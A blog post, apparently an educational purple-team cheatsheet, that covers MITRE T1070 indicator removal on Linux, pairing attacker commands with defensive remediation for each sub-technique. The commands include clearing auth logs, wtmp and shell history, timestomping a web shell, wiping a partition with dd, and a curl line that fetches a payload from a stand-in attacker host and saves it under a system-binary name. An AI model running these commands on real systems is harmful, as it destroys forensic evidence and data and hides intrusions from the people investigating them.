Indicator Removal on Linux: A T1070 Purple Team Cheatsheet

Indicator Removal on Linux: A T1070 Purple Team Cheatsheet

Indicator Removal on Linux: A T1070 Purple Team Cheatsheet

Updated on August 25, 2025

What is T1070 - Indicator Removal?

T1070 (Indicator Removal) covers adversary techniques for deleting evidence of their presence and actions on a compromised system. The primary goal is to frustrate [digital forensics and incident response (DFIR)](INSERT_INTERNAL_URL) investigations, delay detection, and hide the attacker's tracks. This includes clearing logs, deleting tools, altering timestamps, and removing other artifacts they may have created. This guide focuses specifically on indicator removal on Linux systems.

Indicator Removal on Linux: A T1070 Purple Team Cheatsheet

T1070.001 - Clear System Image

This technique involves the removal of virtual machine (VM) or container images that the adversary may have used or created. By deleting the image, they remove the entire environment they operated in, making analysis difficult.

Commands

  1. Remove a Docker container: This command forcefully stops and deletes a container, removing the runtime instance of an image.
    docker rm -f <container_id>
  2. Remove a Docker image: This deletes the underlying image from the local registry, erasing the template the container was built from.
    docker rmi <image_id>
  3. Undefine a libvirt/KVM virtual machine: This removes the XML definition of a VM, effectively "deleting" it from the hypervisor's management.
    virsh undefine <vm_name>
  4. Delete a VM's disk image: After undefining a VM, the attacker deletes the actual virtual disk file, which contains the filesystem and all data.
    rm /var/lib/libvirt/images/<vm_name>.qcow2
  5. Prune the Docker system: This is a broad cleanup command that removes all stopped containers, unused networks, and dangling images.
    docker system prune -a -f

Remediation

  • Restrict Daemon Access: Limit access to virtualization and container daemons (e.g., dockerd, libvirtd) using Unix socket permissions and user groups.
  • Audit Logging: Enable audit logging for all commands sent to container/VM daemons. For Docker, you can forward daemon logs to a SIEM.
  • Registry Security: Use a secure, private container registry with immutable image tags and vulnerability scanning.
  • Backups: Maintain regular, off-site backups of critical VM and container image definitions and storage volumes.

T1070.002 - Clear Linux System Logs

This involves deleting or overwriting logs generated by the operating system and applications to hide specific actions like logins, errors, or commands.

Commands

  1. Overwrite a log file with nothing: This is a quick way to empty a log file without deleting it, which is sometimes less suspicious.
    cat /dev/null > /var/log/auth.log
  2. Truncate a log file: truncate resizes a file to a specified size, with 0 effectively clearing its contents instantly.
    truncate -s 0 /var/log/syslog
  3. Securely delete logs: shred overwrites a file multiple times with random data before deleting it, making recovery nearly impossible.
    shred -n 1 -z -u /var/log/secure
  4. Clear user login records: The wtmp file tracks all logins and logouts. Overwriting it erases this history.
    echo "" > /var/log/wtmp
  5. Clear journalctl logs: On systems using systemd-journald, logs can be cleared by size or time. This command removes all logs except for the last day's worth.
    journalctl --vacuum-time=1d

Remediation

  • Remote Log Forwarding: The most effective control. Forward all logs in real-time to a remote, write-once/immutable central logging server or SIEM (Security Information and Event Management).
  • File Integrity Monitoring (FIM): Use a FIM tool like [Wazuh or AIDE](INSERT_INTERNAL_URL) to monitor critical log files for changes, such as a sudden decrease in size.
  • Strict Permissions: Log files should have permissions that prevent non-privileged users from modifying or deleting them.

T1070.003 - Clear Command History

Adversaries clear shell command history to hide the commands they executed during their session.

Commands

  1. Clear current session history: The history -c command clears the list of commands from the current, active shell session.
    history -c
  2. Overwrite the history file: This command empties the .bash_history file, erasing all previously saved commands.
    echo "" > ~/.bash_history
  3. Prevent future history saving: By linking the history file to /dev/null, any new commands are discarded instead of being written to disk.
    ln -sf /dev/null ~/.bash_history
  4. Set history size to zero: This environment variable tells the shell not to remember any commands for the current session and not to save them upon exit.
    export HISTSIZE=0
  5. Securely delete the history file: The attacker can shred their history file and then create an empty one to avoid suspicion.
    shred -u ~/.bash_history && touch ~/.bash_history

Remediation

  • Centralized Command Logging: Do not rely on local .bash_history files. Use tools like auditd or EDR agents to capture all process execution events (syscalls) and forward them to a central log server.
  • Immutable Attributes: Set the immutable attribute on .bash_history (chattr +a) to only allow appending, which prevents overwriting. However, a savvy attacker can remove this attribute.
  • Custom Shell Configurations: Push read-only, system-wide shell profiles (/etc/profile) that configure history logging to a remote location.

T1070.004 - File Deletion

This involves removing files used during an attack, such as exploits, scripts, tools, or exfiltrated data.

Commands

  1. Standard recursive deletion: The most common command to forcefully remove a directory and all its contents.
    rm -rf /tmp/attacker-tools/
  2. Secure file deletion: shred overwrites the file to make it unrecoverable before deleting it.
    shred -u staging_data.zip
  3. Overwrite with random data: Using dd, an attacker can overwrite a file with random data from /dev/urandom before deleting it.
    dd if=/dev/urandom of=payload.elf bs=1M count=5 && rm payload.elf
  4. Find and delete: This command finds all files in the current directory with a .sh extension and deletes them.
    find . -type f -name "*.sh" -exec rm -f {} \;
  5. Wipe a partition: In extreme cases, an attacker might wipe an entire partition to destroy evidence. (Highly Destructive)
    dd if=/dev/zero of=/dev/sdb1 bs=4096

Remediation

  • Endpoint Detection and Response (EDR): An EDR solution can monitor for suspicious file creation and deletion events, especially involving tools like shred or rapid deletion of many files.
  • File Integrity Monitoring (FIM): FIM can alert when unexpected files appear in or are deleted from critical system directories.
  • Restrictive Permissions: Enforce the principle of least privilege. Users and services should not have permission to delete files outside of their designated directories.
  • Backups: Regular backups can help recover from destructive file deletion, though they won't help with detecting the act itself.

T1070.005 - Network Share Connection Removal

This technique involves removing evidence of connections to remote network shares (e.g., SMB, NFS).

Commands

  1. Unmount an NFS share: This disconnects a mounted Network File System share.
    umount /mnt/remote_data
  2. Unmount an SMB/CIFS share: This disconnects a mounted Windows-style share.
    umount.cifs //10.0.0.5/share
  3. Clear recent files (GUI): In a desktop environment, an attacker might clear the "recently used files" list, which could show files opened from a network share.
    echo "" > ~/.local/share/recently-used.xbel
  4. Remove mount point directory: After unmounting, the attacker removes the directory used as the mount point.
    rmdir /mnt/remote_data
  5. Remove fstab entry: If the attacker made the mount persistent for reboot survival, they would remove the entry from /etc/fstab to hide it.
    sed -i '/<share_ip>/d' /etc/fstab

Remediation

  • Network Flow Analysis: Monitor network traffic (NetFlow, Zeek logs) for connections to known file-sharing ports (e.g., 445, 2049) from unusual sources.
  • Centralized Authentication Logs: Monitor authentication logs on the file server itself. Every connection attempt, successful or not, should be logged and sent to a SIEM.
  • Audit Mount Events: Use auditd to create rules that log all mount and umount system calls.

T1070.006 - Timestomp

Timestomping involves modifying the timestamps of a file (Modify, Access, Change) to make a malicious file look like a legitimate, older system file, or to hide recent activity.

Commands

  1. Copy timestamps from another file: The -r flag on touch makes a file's timestamps identical to a reference file, like a system binary.
    touch -r /bin/bash /tmp/backdoor
  2. Set a specific timestamp: The -d flag allows setting a timestamp to a specific date and time in the past.
    touch -d "2023-01-01 12:00:00" /var/www/html/shell.php
  3. Change only modification time: The -m flag changes only the modification time, leaving access and change times alone.
    touch -m suspicious.file
  4. Set a specific timestamp format: The -t flag uses a [[CC]YY]MMDDhhmm[.ss] format to set the timestamp.
    touch -t 202405101430.00 config.txt
  5. Apply to multiple files: A for loop can be used to apply a reference timestamp to all files in a directory.
    for file in *; do touch -r /etc/hosts "$file"; done

Remediation

  • File Integrity Monitoring (FIM): FIM tools work by creating a baseline hash of files and their metadata. Timestomping changes the metadata, which will generate an alert when compared against the baseline.
  • Log File Modifications: Use auditd to log system calls that modify file attributes, such as utime and utimes.
  • Compare Timestamps: During an investigation, compare file creation/modification times with other forensic artifacts like shell history timestamps or log entry timestamps to find discrepancies.

T1070.007 - Clear Network Connection History and Configurations

An adversary may remove or modify network configurations, like firewall rules, to hide their C2 channels, remove their access paths, or disrupt network logging.

Commands

  1. Flush all iptables rules: This command deletes all rules from all chains, effectively resetting the firewall and removing any malicious rules.
    iptables -F && iptables -X
  2. Clear the ARP cache: This removes the local mapping of IP addresses to MAC addresses, which could hide evidence of which local systems the attacker communicated with.
    ip -s -s neigh flush all
  3. Remove a rule from firewalld: On systems using firewalld, this removes a specific rule the attacker may have added.
    firewall-cmd --remove-port=1337/tcp --permanent && firewall-cmd --reload
  4. Delete a network interface configuration: In drastic cases, an attacker might delete the configuration for a network interface.
    rm /etc/sysconfig/network-scripts/ifcfg-eth0
  5. Clear connection tracking table: This can disrupt stateful firewall logging and analysis by clearing the table of active network connections.
    conntrack -F

Remediation

  • Configuration Management: Use tools like Puppet, Ansible, or Chef to enforce a desired state for network configurations. Any unauthorized changes will be detected and automatically reverted.
  • Logging: Log all commands related to network and firewall configuration changes using auditd or EDR.
  • Regular Audits: Perform regular automated audits of firewall rules and network settings, comparing them against a known-good baseline.

T1070.008 - Clear Mailbox Data

If an attacker used a victim's email account for phishing or data exfiltration, they may try to delete evidence from the mailbox.

Commands

  1. Overwrite the system mail spool file: Linux users have a mail file in /var/spool/mail/. This command erases it.
    cat /dev/null > /var/spool/mail/$(whoami)
  2. Delete a local Maildir: Some mail clients use a Maildir format in the user's home directory. This command recursively deletes it.
    rm -rf ~/Maildir/
  3. Use mutt to delete all mail: An attacker could script a command-line mail client to purge all messages.
    echo 'd *' | mutt -f /var/spool/mail/someuser
  4. Find and delete mail-related files: Search for files commonly associated with email and delete them.
    find ~ -name "*thunderbird*" -exec rm -rf {} \;
  5. Shred the mail spool: For a more secure deletion, shred can be used on the mail file.
    shred -u /var/mail/someuser

Remediation

  • Centralized Mail Server: Avoid local mail spools on individual servers where possible. Use a central, dedicated email server (like Microsoft 365 or Google Workspace) where logging and security are managed by default.
  • Email Journaling: Configure mail servers to create an immutable, journaled copy of every single email sent and received. This copy is stored in a separate, secure location and cannot be tampered with by users.
  • Restrict Server Access: Users should not have shell access to mail servers where they could directly manipulate spool files.

T1070.009 - Clear Persistence

This technique involves an adversary removing the mechanisms they established to maintain long-term access to a system. By cleaning up their persistence artifacts (like services, scheduled tasks, or user accounts), they erase evidence of how they could have regained access after a reboot or logout, making it harder for defenders to understand the full scope of the compromise.

Commands

  1. Remove a user's Crontab: The crontab -r command immediately deletes all scheduled tasks for the current user, a common method for removing a scheduled backdoor or script.
    crontab -r
  2. Disable and Remove a Systemd Service: This multi-step process properly stops, disables (preventing boot-up start), and deletes a malicious systemd service file.
    # [ROOT REQUIRED]
    systemctl stop malicious.service
    systemctl disable malicious.service
    rm /etc/systemd/system/malicious.service
    systemctl daemon-reload
  3. Remove a Malicious SSH Key: Instead of deleting the entire authorized_keys file, which might be suspicious, an attacker can use sed to surgically remove their specific public key.
    sed -i '/attacker-ssh-key-comment/d' ~/.ssh/authorized_keys
  4. Clean up Shell Profile Persistence: Attackers often add lines to files like .bashrc or .profile to launch their malware. This command finds and removes the malicious line.
    sed -i '/malicious_script.sh/d' ~/.bashrc && source ~/.bashrc
  5. Delete a User Account: If an attacker created a dedicated user account for persistence, they can remove it and its home directory to clean up.
    # [ROOT REQUIRED]
    userdel -r backdoor_user

Remediation

  • Configuration Management: Use Infrastructure as Code (IaC) tools like Ansible, Puppet, or SaltStack to enforce a known-good system state. These tools can detect and revert unauthorized changes to persistence locations like /etc/systemd/system or /etc/cron.d.
  • File Integrity Monitoring (FIM): Deploy FIM solutions (e.g., Wazuh, AIDE) to monitor critical persistence files for changes. This includes user .bashrc files, authorized_keys, and system-level service and cron directories.
  • Centralized Logging: Use auditd to log any changes to persistence-related files and commands like userdel or crontab. Forward these logs to a secure, centralized SIEM to detect suspicious removal activity.
  • Least Privilege: Restrict user permissions so that only authorized administrators can create or modify system-wide persistence mechanisms.

T1070.010 - Relocate Malware

This technique involves an adversary moving or creating new copies of their malware on a compromised system. The goal is to evade defenses that might be location-specific (e.g., a rule that only scans the /tmp directory) and to remove the initial payload from its download or execution location, cleaning up their entry point. This is often combined with File Deletion.

Commands

  1. Move and Rename: The simplest method. Move the payload from a common, highly monitored directory like /tmp to a less obvious location, giving it a name that blends in with system files.
    mv /tmp/payload.elf /usr/lib/lib-udevd
  2. Copy to a Hidden Directory: The attacker can copy the malware to a hidden "dot-directory" and then delete the original, making the new file invisible to a standard ls command.
    cp /dev/shm/implant ~/.config/kworker && rm /dev/shm/implant
  3. Use dd for Low-Level Copying: dd performs a byte-for-byte copy, which can sometimes evade EDR tools that hook standard file copy functions (cp). The new file is then made executable.
    dd if=/tmp/malware of=/var/log/auditd.log.so && chmod +x /var/log/auditd.log.so && rm /tmp/malware
  4. Encode to a New Location, then Decode: The malware is encoded (e.g., with Base64), written to an innocent-looking text file, and then decoded back into an executable in a new location. The original and encoded files are then deleted.
    # Step 1: Encode and move
    base64 /tmp/payload > /var/spool/mail/root_backup
    
    # Step 2: Decode to a new location and make executable
    base64 -d /var/spool/mail/root_backup > /usr/bin/dbus-update
    chmod +x /usr/bin/dbus-update
    
    # Step 3: Clean up
    rm /tmp/payload /var/spool/mail/root_backup
  5. Download a Fresh Copy: Instead of copying the local file, the adversary uses the compromised host to download a fresh copy of the same malware to a different location, then deletes the original.
    # Download to a new, more persistent location
    curl http://attacker.com/payload -o /usr/local/bin/systemd-resolve
    chmod +x /usr/local/bin/systemd-resolve
    
    # Clean up the original file
    rm /tmp/payload

Remediation

  • Endpoint Detection and Response (EDR): This is the most effective control. An EDR agent tracks process lineage and file events. It can correlate the creation of a file in /tmp by a browser with the subsequent copying or moving of that file, and its eventual execution from a new location.
  • Behavioral Analysis: Focus on detecting malicious behavior rather than static file paths or signatures. Whether the malware runs from /tmp or /lib, its actions (e.g., initiating a C2 connection, spawning a shell, encrypting files) should be what triggers an alert.
  • System-Wide Scanning: Ensure security scanners and file integrity monitors are configured to scan the entire filesystem, not just a subset of "high-risk" directories.
  • Egress Traffic Monitoring: Even if malware moves, it typically must communicate with its command-and-control (C2) server. Monitoring outbound network traffic for suspicious connections can reliably detect the compromised host, regardless of where the malware is located on disk.

Enjoyed this guide? Share your thoughts below and tell us how you leverage indicator removal on Linux in your projects!

Indicator Removal, T1070, Linux Security, Cybersecurity, Purple Teaming, DFIR, Forensics

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment